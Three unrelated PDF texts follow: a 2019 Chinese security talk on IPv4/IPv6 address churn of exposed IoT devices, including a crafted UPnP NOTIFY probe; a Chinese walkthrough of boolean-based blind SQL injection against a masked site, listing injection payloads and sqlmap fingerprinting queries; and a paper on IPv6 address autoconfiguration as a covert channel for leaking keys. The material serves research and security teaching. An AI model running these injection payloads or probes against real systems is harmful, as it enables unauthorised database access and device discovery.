物联网资产变化研究演讲人：桑鸿庆绿盟科技资深安全研究员 2019 PART 01 简介目录 CONTENTS PART 02 IPv4地址变化 PART 03 分析 PART 04 IPv6地址变化 01 02 03 04 PART 05 影响与建议 05 PART 01 网络空间引擎与物联网资产识别简介《唐人街探案2》中片段挪威 Finse 1222酒店图片来源于网络网络空间搜索引擎物联网资产暴露概况资产协议探测 Banner 设备识别 Label 41,791 993,445 4,752,926 4,239,729 473,501 1,319,448 21,252,312 27,957,765 0 5,000,000 10,000,000 15,000,000 20,000,000 25,000,000 30,000,000 打印机 VoIP电话摄像头路由器设备类型全球中国全球和国内物联网相关设备暴露概况（ 2 0 1 8 全年数据）资产发现过程 DrDoS Mirai变种仍然在活跃的发动攻击利用路由器和摄像头的反射攻击事件飙升图片来源于网络搜索到的物联网设备服务已不在发现的威胁情报不存活？暴露数量真的是这样的吗？一起攻击事件感染范围真有这么大？为什么大量服务、威胁情报不存活？国内物联网资产 I P v 4 网络地址变化情况 PART 02 4,235,111 1,426,008 1,063,759 563,572 388,107 241,767 234,353 163,282 145,665 130,433 0 500,000 1,000,000 1,500,000 2,000,000 2,500,000 3,000,000 3,500,000 4,000,000 4,500,000 554 80 5060 22 21 443 23 8080 8081 81 暴露资产（个）端口号 Others… RTSP SIP UPnP …… 物联网互联网 70% HTTP HTTPS SSH Telnet FTP 30% 国内物联网资产暴露的端口及协议分布情况国内暴露的物联网资产协议分布情况基于多轮扫描结果对比的资产变化研究方法第1轮 (基准轮次) 第2轮第3轮 (对比轮次) 第n轮 (对比轮次) 扫描开始扫描结束扫描开始扫描时长第4轮第5轮 (对比轮次) 对比间隔时间扫描结束 18,878 15,355 18,534 14,105 29,920 33,447 30,263 34,688 26,960 24,557 27,793 26,076 0 5,000 10,000 15,000 20,000 25,000 30,000 35,000 40,000 间隔6天间隔34天间隔49天间隔74天暴露资产（个）对比时间无变化消失资产新出现资产两次对比类型没有发生变化的数量相对于基准消失的资产数量相对于基准新增的资产数量路由器变化情况 8 0 端口路由器 Ø 平均扫描周期 3 天 Ø 总量约 5 万 u 变化的资产数量相对稳定，约有 3 . 3 万路由器网络地址发生过变化，约占总量的 6 8 % 40,021 35,195 34,162 28,370 141,984 146,810 151,282 153,635 156,634 167,817 167,917 184,164 0 50,000 100,000 150,000 200,000 间隔16天间隔28天间隔40天间隔64天暴露资产（个）对比时间无变化消失资产新出现资产 VoIP电话变化情况 5 0 6 0 端口 Vo I P 电话 Ø 平均扫描周期3天 Ø 总量约18万 u 变化的资产数量相对稳定，约有 15万VoIP电话网络地址发生过变化，大约占总资产量的80% 摄像头变化情况 356,042 327,989 308,393 303,499 123,192 151,245 170,841 175,735 127,975 156,589 177,893 185,131 0 50,000 100,000 150,000 200,000 250,000 300,000 350,000 400,000 间隔3天间隔6天间隔12天间隔15天暴露资产（个）对比时间无变化消失资产新出现资产 554端口摄像头 Ø 平均扫描周期3天 Ø 总量约47万 u 约有15万摄像头网络地址发生过变化，占总资产量的25% 68 % Router 80 % VoIP 25 % Camera 观察发现：互联网上的暴露物联网资产网络地址，根据类型的不同均存在着不同程度的变化，并且新增和消失的数量几乎平衡，变化量随着时间的推移缓慢递增摄像头变化情况（平均扫描周期增加到7天） 263,346 255,615 253,186 243,053 179,506 187,237 189,665 199,801 183,815 194,817 198,747 207,148 0 50,000 100,000 150,000 200,000 250,000 300,000 间隔23天间隔33天间隔38天间隔56天暴露资产（个）对比时间无变化消失资产新出现资产 554端口摄像头 Ø 扫描周期增加到7天 u 增加平均扫描周期，相比之前间隔3天，资产的变化量45%，相比之前3天扫描周期增加20%；但有24万资产，间隔 56天未发生变化观察发现：在一定范围内，缩短国内资产平均扫描周期，可以减少资产变化数量；同样有一部分物联网资产地址在观测时间内一直都没有变化 33,200 32,304 31,275 30,645 3,912 5,089 5,915 6,393 4,125 5,021 6,050 6,680 0 10,000 20,000 30,000 40,000 间隔3天间隔6天间隔9天间隔11天暴露资产（个）无变化消失资产新出现资产 18,450 19,863 19,547 19,152 1,975 1,331 2,618 3,409 1,914 2,738 2,344 3,785 0 5,000 10,000 15,000 20,000 25,000 间隔3天间隔6天间隔9天间隔10天暴露资产（个）无变化消失资产新出现资产日本 5 5 4 端口摄像头变化情况新加坡 5 5 4 端口摄像头变化情况亚太地区物联网资产变化并不明显对比于国内，日本和新加坡的资产变化比例明显小的多，仅有不到 15%的资产在变化资产网络地址变化原因分析 PART 03 关于资产变化的猜想猜想1：物联网资产的网络地址变更，导致我们看到的资产变化猜想2：网络地址变化可能在一定范围内，并且有可能和运营商相关分布在同 C 段映射的物联网资产统计 0-20, 5,560,194, 59% 20-50, 2,025,966, 21% 50-100, 1,465,491, 15% 100以上, 453,381, 5% 累计2个月物联网设备IP分布在同网段的数量统计发现：同一网段物联网资产数量大于20的资产数量占总量的41% 资产 C 段映射变化明显下降 129125 129114 128956 128177 45901 46860 47266 48725 45634 47325 47806 49078 0 20000 40000 60000 80000 100000 120000 140000 间隔23天间隔33天间隔38天间隔56天暴露资产（个）无变化消失网段新增网段 554端口的摄像头 13176 13047 13028 10935 4724 4929 4995 7383 4300 4224 4476 3684 0 2000 4000 6000 8000 10000 12000 14000 间隔26天间隔34天间隔49天间隔58天暴露资产（个）不变网段消失网段新增网段 80端口的路由器 47,182 47,586 47,794 39,801 10,023 10,856 11,371 17,145 12,031 12,052 12,126 8,331 0 10,000 20,000 30,000 40,000 50,000 间隔16天间隔28天间隔40天间隔49天暴露资产（个）无变化消失网段新增网段 5060端口VoIP电话 35%网段发生变化 30%网段发生变化 25%网段发生变化 40% 70% 80% 35% 30% 25% 0.60% 1.04% 4.09% 0% 20% 40% 60% 80% 摄像头路由器 VoIP电话网络地址 C段映射 B段映射物联网资产地址变化与网段变化对比发现：物联网资产网络地址在一定网段内变化结论：运营商采用的动态分配地址的策略导致物联网资产网络地址变化网络地址变化资产的运营商分布情况 7.78% 8.94% 11.61% 12.00% 41.03% 48.02% 63.09% 14692 29126 9878 4704 20051 7524 5624 0 5000 10000 15000 20000 25000 30000 35000 0.00% 10.00% 20.00% 30.00% 40.00% 50.00% 60.00% 70.00% 中国移动通信公司中国联通China169骨干网中国电信骨干网中华电信（台湾）中国电信集团中国电信广域网核心自治系统北京电信通网络科技有限公司 IP运营商名称变化占比变化数量 10.88% 11.07% 24.50% 31.30% 53.11% 55.22% 60.84% 70.80% 7377 33169 7167 4717 160815 84797 5209 4159 0 50000 100000 150000 200000 0.00% 20.00% 40.00% 60.00% 80.00% 中国移动通信公司中华电信（台湾）电讯盈科有限公司中国电信集团中国电信骨干网中国联通China169骨干网中国联通北京市网络中国联通IP网络广东省China169 变化占比变化数量 554端口摄像头变化资产ASN分布情况 80端口路由器变化资产ASN分布情况 IPv6 物联网资产网络地址变化情况 PART 04 IPv6 网络地址探测的困难性 I P v 6 地址数量是 I P v 4 的 2 ^ 9 6 倍， I P v 6 可以地球上每一粒沙分配一个 I P ，而且还有剩余目前 I P v 6 地址使用的实际数量较少，并且地址分布的随机性较大通过对全网扫描发现 I P v 6 资产，从时间和资源上都不切实际利用 U P n P 发现双栈物联网资产 Control Point Device 1.M-SEARCH 2.NOTIFY 3.HTTP GET xxx.xml 4.200 OK(XML) . . . NOTIFY * HTTP/1.1 Host:239.255.255.250:1900 Cache-control:max-age=1800 Location:http://[{{our_ipv6}}]/?{{target_ipv4}} Nt:upnp:rootdevice Nts:ssdp:alive Usn:uuid:{uuid} ::upnp:rootdevice HTTP GET 404 2806:105e:8:92f5:bead:28ff:fee0:** - - [02/Aug/2019:13:53:17 +0800] "GET /?189.142..*** HTTP/1.1" 404 177 "-" "Linux/3.0.8, UPnP/1.0, Portable SDK for UPnP devices/1.6.18" UPnP工作流程利用UPnP发现IPv6物联网资产 Scanner Nginx WEB IPv6 IoT Devices 引用Cisco，Talos 实验室发表的文章 “IPv6 unmasking via UPnP“ 1,934 1,331 786 265 42 0 500 1,000 1,500 2,000 2,500 第1天第2天第3天第4天第5天暴露资产（个）存活量观察发现：同样有部分IPv6地址采用动态的分配策略，资产的网络地址也在变化 U P n P 发现的 I P v 6 资产存活情况物联网资产网络地址变化影响 PART 05 4,752,926 4,239,729 993,445 41,791 1,285,907 459,311 219,936 30,731 0 1,000,000 2,000,000 3,000,000 4,000,000 5,000,000 摄像头路由器 VoIP电话打印机暴露资产（个）累计数量实际数量 Ø 累计暴露数量： 2018年全年国内被标记过物联网资产的网络地址数量 Ø 实际暴露数量： 2018年11月内扫描一轮物联网资产的网络地址数量累计的暴露资产数据和真实暴露数量相差甚远，根据实际的业务场景来使用两者数据暴露资产数量资产的扫描间隔应该保证在尽可能短的时间内并及时对历史物联网资产数据及时做老化，不变和变化的资产差异对待才能保证资产库的准确性资产信息准确性良好的数据和情报是提供有效网络搜索能力的关键所以在攻击溯源时，应考虑资产历史变化情况，如果资产或情报处于动态分配网段，可使用网段映射进行粗粒度匹配这样才能提高威胁跟踪的精准性物联网威胁跟踪回顾互联网上的暴露物联网资产网络地址，根据类型的不同均存在着不同程度的变化运营商采用的动态分配地址的策略导致物联网资产网络地址变化考虑物联网资产变化，可以提高资产信息和威胁跟踪精准性一些说明以上研究基于 2 0 1 8 - 2 0 1 9 年资产扫描数据目前得出的资产变化原因，均为从真实数据的推测得出物联网资产具体的变化范围，还需要与运营商实际配置策略相结合获取 I P v 6 物联网资产尚存巨大挑战，有待进一步研究关于我们绿盟科技研究通讯 u 绿盟科技创新中心绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室，关注于云安全、威胁情报、数据驱动安全和物联网安全等领域。谢谢观看演讲人：桑鸿庆绿盟科技创新中心资深研究员	pdf
一个注入点分析请求 URL： http://www.xxx.com POST 数据： dfpageControl.pageNum=1&dfpageControl.grd_gridId=PER&dfpageControl.co nditionStr=&dfpageControl.ducs[0].duc_fieldCondition=where_equals&dfpageC ontrol.ducs[0].duc_fieldValue=114730&dfpageControl.ducs[0].duc_fieldSplit= and &dfpageControl.ducs[0].duc_fieldName=per_code&dfpageControl.ducs[0].duc_ dataType=varchar 注入点：dfpageControl.conditionStr 参数注入点类型：boolean-based blind，波尔型盲注测试一测试过程： dfpageControl.conditionStr 为空，如图： dfpageControl.conditionStr= and 1=1，如图： dfpageControl.conditionStr= and 1=2，如图：直接放入 SQLMAP 里跑，结果如图：通过手工的方式数据库： dfpageControl.conditionStr= and 1=(select 1 from dual)，如图： dfpageControl.conditionStr= and 1=(select 2 from dual)，如图： dfpageControl.conditionStr= or 1=(select 1 from dual) ，如图：至此，判断 SQL 注入存在，数据库为 oracle。通过手工的方式判断出 oracle 的话，如果通过指定 sqlmap 的 dbms，可以成功。通过对 sqlmap 发送的数据包进行分析，对比使用 dbms 和不使用 dbms 的 payloads 区别这一阶段 sqlmap 使用一系列的方式去判断数据库类型： [INFO] testing MySQL per_code = '114730' AND QUARTER(NULL) IS NULL [INFO] testing Oracle per_code = '114730' AND ROWNUM=ROWNUM [INFO] testing PostgreSQL per_code = '114730' AND 6932::int=6932 [INFO] testing Microsoft SQL Server per_code = '114730' AND SQUARE(8844)=SQUARE(8844) [INFO] testing SQLite per_code = '114730' AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID() [INFO] testing Microsoft Access per_code = '114730' AND VAL(CVAR(1))=1 [INFO] testing Firebird per_code = '114730' AND (SELECT COUNT(*) FROM RDB$DATABASE WHERE 3109=3109)>0 [INFO] testing SAP MaxDB per_code = '114730' AND ALPHA(NULL) IS NULL [INFO] testing Sybase per_code = '114730' AND @@transtate=@@transtate [INFO] testing IBM DB2 per_code = '114730' AND 5283=(SELECT 5283 FROM SYSIBM.SYSDUMMY1) [INFO] testing HSQLDB per_code = '114730' AND CASEWHEN(1=1,1,0)=1 从红色标记往下，是测试 11 种数据库的请求包，但由于 payload 会回显，所以不能通过长度判断 true or false，只能通过页面内容。但实际上 sqlmap 并没有检测出 oracle，如图：说明 SQLMAP 对此处的真和假的判断是错误的，需要通过手工的方式指定返回页面的真和假。参考如下选项：通过上面手工测试的结果，我知道“真”的响应正文包括一个 trd_desc，可以用来识别真和假的页面，真的页面有 trd_desc，假的页面没有 trd_desc。如图：使用—strings 选项，如图：结果正常，识别出 oracle，如图：测试二经测试上面 SQLMAP 的版本是：使用最新版的 SQLMAP 测试，版本是：同样使用相同的选项，新版本的判断逻辑发生变化，直接识别出数据库 oracle，如图：逻辑变化细节说明：总结： 1. 我们在用一些默认选项直接测试注入点的时候，扫描器可能会有误报和漏报，最好通过抓包的方式（或者-v 3-5 的方式）看一下详细的交互包，人工判断下。 2. 及时更新 SQLMAP。新的比旧的逻辑优，更新吧。	pdf
IPv6 is Bad for Your Privacy Janne Lindqvist Helsinki University of Technology Telecommunications Software and Multimedia Laboratory P.O. Box 5400, FIN-02015 TKK, Finland [email protected].ﬁ Abstract. In recent years, covert channel techniques for IPv4 and more recently for IPv6 have been published by the scientiﬁc community and also presented in DEFCON 14. However, a covert channel that contains a considerable bandwidth has been overlooked, the autoconﬁgured IPv6 address itself. IPv6 Stateless Address Autoconﬁguration is used for au- toconﬁguring addresses without a server in IPv6 networks. The auto- conﬁguration mechanism consists of choosing an address candidate and verifying its uniqueness with Duplicate Address Detection. The auto- conﬁguration mechanism has privacy issues which have been identiﬁed before and mitigations have been published as RFC 3041. However, we show that the privacy protection mechanism for the autoconﬁguration can be used as a covert channel, and consequently, be used to harm the privacy of the user. The covert channel can be serious threat for commu- nication security and privacy. We present practical attacks for divulging sensitive information such as parts of secret keys of encryption proto- cols. The scheme can also be used for very eﬀective Big Brother type surveillance that cannot be detected by established intrusion detection systems. 1 Introduction A covert channel is a mechanism that is not designed for communi- cation, but can nonetheless be abused to allow information to be com- municated between parties [2]. Previously, this work has been published as [14], in this version, we take a more tutorial style and present corrections. For example, in [14] we concluded that SEcure Neighbor Discovery (SEND) [3] could prevent this covert channel, but it merely slows it down. Previously published work in TCP/IP covert chan- nels include: how common IPv4 covert channels can be detected and how to implement detection resistant TCP steganography schemes [17], using IP frag- mentation and packet sorting as covert channels [1], covert timing channels [6] and enumeration of 22 covert channels in IPv6 [15]. Privacy problems with IPv6 are not limited to covert channels, for example, Mobile IPv6 introduceslocation privacy problems [9]. 2 Janne Lindqvist 64 bits 64 bits subnet prefix interface id Fig. 1. IPv6 Unicast Address Format RFC 2460 - the draft standard speciﬁcation of IPv6 [8] - was published al- ready in 1998. In addition to the speciﬁcation, IPv6 introduces many additional mechanisms and protocols, one of them is the stateless address autoconﬁgura- tion. The IPv6 addressing architecture is deﬁned in RFC 4291 [10]. It has three diﬀerent types of identiﬁers: unicast, anycast and multicast addresses. Unlike its predecessor IPv4, the address architecture is hierarchical. In this context, hierar- chy means that addresses have ﬁelds for deﬁning the scope of the address. Orig- inally, the addressing architecture speciﬁed three scopes for unicast addresses. Today, unicast addresses have two scopes: link-local and global, since RFC 3879 formally deprecated the site-local address scope [11]. Next, we elaborate the IPv6 Stateless Address Autoconﬁguration mechanism and privacy extensions for it. The DAD procedure describe in the Introduction must be supported by all IPv6 implementations [22]. The DAD procedure uses two diﬀerent Internet Con- trol Message Protocol for IPv6 (ICMPv6) [7] messages: Neighbor Solicitation (NS) and Neighbor Advertisement (NA). The Neighbor Solicitation message is used for multicasting the tentative address to the network. The Neighbor Ad- vertisement message is used to indicate that the tentative address is in use. The message formats are deﬁned in RFC 2461 [20] and RFC 2462 [22]. Optimistic DAD modiﬁes the above. RFC 4429 speciﬁes a new optimistic state that can be given to an address. The address can then be used before it has been veriﬁed, but the use is not preferred if there is another usable address available. [16] The default way to use the IPv6 Stateless Address Autoconﬁguration is to use the MAC address to derive the interface identiﬁer. However, this mechanism has serious privacy problems [18, 19], which we quote below: “Addresses generated using Stateless address autoconﬁguration con- tain an embedded interface identiﬁer, which remains constant over time. Anytime a ﬁxed identiﬁer is used in multiple contexts, it becomes possi- ble to correlate seemingly unrelated activity using this identiﬁer. The correlation can be performed by – An attacker who is in the path between the node in question and the peer(s) it is communicating to, and can view the IPv6 addresses present in the datagrams. – An attacker who can access the communication logs of the peers with which the node has communicated. [...] In summary, IPv6 addresses on a given interface generated via State- less Autoconﬁguration contain the same interface identiﬁer, regardless IPv6 is Bad for Your Privacy 3 of where within the Internet the device connects. This facilitates the tracking of individual devices (and thus potentially users).” In simple terms, the privacy extensions propose to use instead of the ﬁxed MAC-address based interface identier a random interface identiﬁer. But when protocols use pseudorandom ﬁelds, they can be used as covert channels. The most severe implications of the stateless address autoconﬁguration covert channel is the possibility to divulge any kind of secrets, and thus, violate the privacy of the user. For example, an operating system and IPsec vendor could use the covert channel to transmit session keys when the users think they are merely protecting their privacy with the privacy extensions of the stateless address autoconﬁguration protocol. The transmission of secret keys may need more bits than can ﬁt in the IPv6 address. However, depending on key sizes, only partial information of the key may suﬃce. The fundamental issue is that any kind of information can be di- vulged. For example, perhaps organization X is interested in what computers in a country visit particular sites when they are mobile. This information can be divulged with a single bit in the interface identiﬁer part. The computer can remember the visits to a list of sites and after the boot-up send the information in the new statelessly autoconﬁgured IPv6 address. Additionally, an encoding scheme can be formulated to ensure that the particular bit is not accidentally used. The subtle detail in this scenario is that the information can be passed after boot-up, there is no need to change the IPv6 address before that. 2 Covert Channels in IPv6 Addresses Using the duplicate address detection for covert channels is possible because the interface identiﬁer part of the address can be chosen in random. In IPv6 enabled Ethernets, the 64 bits of the 128 bit IPv6 address are reserved for the interface identiﬁer (Figure 1). The interface identiﬁer of the address distinguishes individual devices in a local area network [8]. The 64 bits can be used for carrying a message. The 64 bits is a major covert channel and threat because it is always present in the IPv6 packets. Many covert channels presented in the related work section can be protected from the outside attackers by using e.g. IPsec ESP. To illustrate how large 64 bits is as a covert channel we consider IPsec ESP CBC-mode ciphersuites. RFC 2451 [21] speciﬁes popular key sizes for IPsec ESP CBC-mode ciphersuites. For example, CAST-128 and RC5 algorithms popular sizes include 40 bits, which can be transmitted in a single IPv6 header. 3DES algorithm default and popular size is 192 bits, which requires three diﬀerent addresses. Naturally, when the encryption schemes evolve and key sizes increase, the 64 bits will become less drastic for secret key divulding purposes. Despite this, even partial keys can be used to crack. 4 Janne Lindqvist 2.1 Generic Attack Scheme In this section, we present how e.g. a hardware manufacturer can use the IPv6 Stateless Address Autoconﬁguration to divulge secret keys of almost any security protocol or other sensitive information. The hardware manufacturer produces essentially embedded systems such as PDAs. The operating system and the hardware is controlled by the manufacturer. A wireless mobile device needs to use many addresses on diﬀerent layers of the protocol stack for identiﬁcation purposes. One of these addresses is the MAC address of the link layer protocol. For demonstration purposes, we consider the IEEE 802.11b [13] standard based Wireless LAN (WLAN) The IEEE 802.11b uses a 48-bit address to identify the link-layer network interface [12]. The address is set by the hardware manufacturer or can be con- ﬁgured from the operating system if the device driver allows it. The MAC address of the device is used to identify the contaminated devices. The ﬁrst 24 bits of the address indicate Organizationally Unique Identiﬁer (OUI), which is assigned by the IEEE. The rest of the bits are determined by the particular vendor organization. The manufacturer can use, for example, the 8 bits after the OUI to indicate a contaminated device. Thus, a packet capture software can easily be extended to spot contaminated devices from an area covered by the radio device. The operating system is modiﬁed as follows. The secret key (Ks) of a secure communication protocol is encoded with information on e.g. what type of key it is, what actual session or user it refers to and other necessary information. This information is encrypted with an encryption scheme and a global key known only by the attacker. The “encryption” scheme can be simply protocol and the ﬁrst applicable bits of the MAC address are operands in XOR operation, and the result is the network interface identiﬁer of an IPv6 address. The XOR oper- ation hides the key from outsiders that do not know the encoding scheme. The operation is illustrated below. Ks ⊕ MAC address = interface id Agents of the vendor have a database of the contaminated devices on their laptops. The laptops automatically recognize the contaminated devices when scanning the WLAN radio frequencies. When they recognize the contamined devices, the laptops start to record the IP and above level communications and record the IPv6 addresses. The IPv6 address contains the secret key, which can be used to decrypt the encrypted communication. For secret keys larger than the 64 bits, we may use a similar encoding scheme presented in next section. This requires naturally multiple stateless address autoconﬁguration procedures that are nevertheless likely to be used for trying to protect the privacy of the user. However, depending on the key length and the used encoding scheme, only single address can be enough, and the remaining bits of the key can be revealed with brute force attack. The above scenario can naturally be exploited with rootkit malware, received from an email message, for example. The malware checks out the MAC address of IPv6 is Bad for Your Privacy 5 the particular device and contaminates the operating system. The MAC address is sent to the attackers computer. Thus, the attacker can now easily track the correct traﬃc in the radio network. However, this additional scenario requires the sending of the MAC address, and thus, can be more easily noticed compared to the exploitation by the hardware manufacturer. 3 Conclusions The IPv6 Stateless Address Autoconﬁguration can be considered inherently harmful for the privacy of the user. It either 1. introduces the risk that all the traﬃc originating from the host in diﬀerent places can be linked to the user or 2. introduces a way to divulge sensitive information about the user or even the secret keys of encrypted communication. The IPv6 address as a covert channel is a major threat since it exists in every packet even though the payload is protected by IPsec ESP. If the traﬃc is protected with IPsec ESP, the covert channels of e.g. TCP are not visible for outsiders. Also, we can assume that most computers do not have sophisticated intrusion detection systems and even if they do, most users cannot use them. But, the networks where the users reside, may have intrusion detection systems that monitor the traﬃc. Thus, e.g. opening a new connection to divulge sensitive information or secret keys is likely to be noticed, but not the covert channel scheme in IPv6 addresses. A straightforward countermeasure to the covert channel attack is not to allow stateless address autoconﬁguration. The use of stateful server-based assignment such as DHCPv6 [5] mitigates the problem eﬀectively. However, this is not pos- sible e.g. for ad hoc networks and, thus, the applicability of the mitigation is limited. Also, the DHCPv6 may introduce administrative burden that otherwise would be relieved with the IPv6 Stateless Address Autoconﬁguration mechanism. SEcure Neighbor Discovery (SEND) [3] protocol has been proposed to replace the Neighbor Discovery protocol. SEND uses Cryptographically Generated Ad- dresses (CGA) [4] which mitigate many attacks against Neighbor Discovery and stateless address autoconﬁguration. The idea behing CGA is that the interface identiﬁer is actually a host identiﬁer. The host has a public/private key pair and a hash of the public key is used in the IPv6 address interface identiﬁer. It might seem that CGA eﬀectively mitigates the possibility to use the addresses as covert channels because every bit has meaning. If the address does not match the has of public key used in SEND, it is trivial to deduce something is wrong. However, the attacked needs just to pre-create key pairs that hash to a wanted string that can be used as the address ﬁeld. References 1. K. Ahsan and D. Kundur. Practical Data Hiding in TCP/IP. In Proceedings of the Multimedia and Security Workshop at ACM Multimedia, Dec. 2002. 6 Janne Lindqvist 2. R. Anderson. Security Engineering: A Guide to Building Dependable Distributed Systems. John Wiley & Sons, Inc., 2001. 3. J. Arkko, J. Kempf, B. Zill, and P. Nikander. RFC 3971: SEcure Neighbor Discovery (SEND), Mar. 2005. Status: Proposed Standard. 4. T. Aura. RFC 3972: Cryptographically Generated Addresses (CGA), Mar. 2005. Status: Proposed Standard. 5. J. Bound, B. Volz, T. Lemon, C. E. Perkins, and M. Carney. RFC 3315: Dynamic Host Conﬁguration Protocol for IPv6 (DHCPv6), July 2003. Status: Proposed Standard. 6. S. Cabuk, C. E. Brodley, and C. Shields. IP covert timing channels: design and detection. In Proceedings of the 11th ACM conference on Computer and commu- nications security, pages 178–187, 2004. 7. A. Conta and S. Deering. RFC 2463: Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 (IPv6) Speciﬁcation, Dec. 1998. Status: Draft Standard. 8. S. Deering and R. Hinden. RFC 2460: Internet Protocol, Version 6 (IPv6) Speci- ﬁcation, Dec. 1998. Status: Draft Standard. 9. A. Escudero-Pascual. Privacy in the next generation Internet: Data protection in the context of European Union policy. PhD thesis, Royal Institute of Technology, 2002. 10. R. Hinden and S. Deering. RFC 4291: IP Version 6 Addressing Architecture, February 2006. Status: Draft Standard. 11. C. Huitema and B. Carpenter. RFC 3879: Deprecating Site Local Addresses, Sept. 2004. Status: Proposed Standard. 12. IEEE. IEEE Std 802-1990, IEEE Standards for Local and Metropolitan Area Net- works: Overview and Architecture. The Institute of Electrical and Electronics En- gineers, Inc., 1990. ISBN: 1-55937-052-1. 13. IEEE. Std 802.11b-1999, Supplement to IEEE Standard for Information Tech- nology – Telecommunications and information exchange between systems – Local and metropolitan area networks – Speciﬁc requirements – Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Speciﬁcations: Higher- Speed Physical Layer Extension in the 2.4 GHz band. The Institute of Electrical and Electronics Engineers, Inc., 1999. 14. J. Lindqvist. IPv6 Stateless Address Autoconﬁguration Considered Harmful. In Proceedings of the Military Communications Conference - MILCOM 2006, Oct. 2006. 15. N. B. Lucena, G. Lewandowski, and S. J. Chapin. Covert Channels in IPv6. In PET 2005, LNCS 3856, June 2006. 16. N. Moore. RFC 4429: Optimistic Duplicate Address Detection (DAD) for IPv6, April 2006. Status: Proposed Standard. 17. S. J. Murdoch and S. Lewis. Embedding covert channels into TCP/IP. In 7th Information Hiding Workshop, June 2005. 18. T. Narten and R. Draves. RFC 3041: Privacy Extensions for Stateless Address Autoconﬁguration in IPv6, Jan. 2001. Status: Proposed Standard. 19. T. Narten, R. Draves, and S. Krishnan. Privacy Extensions for Stateless Address Autoconﬁguration in IPv6: draft-ietf-ipv6-privacy-addrs-v2-04. Internet draft, IETF, May 2005. Work in progress. Expired Nov. 2005. 20. T. Narten, E. Nordmark, and W. Simpson. RFC 2461: Neighbor Discovery for IP Version 6 (IPv6), Dec. 1998. Status: Draft Standard. IPv6 is Bad for Your Privacy 7 21. R. Pereira and R. Adams. RFC 2451: The ESP CBC-Mode Cipher Algorithms, Nov. 1998. Status: Proposed Standard. 22. S. Thomson and T. Narten. RFC 2462: IPv6 Stateless Address Autoconﬁguration, Dec. 1998. Status: Draft Standard.	pdf

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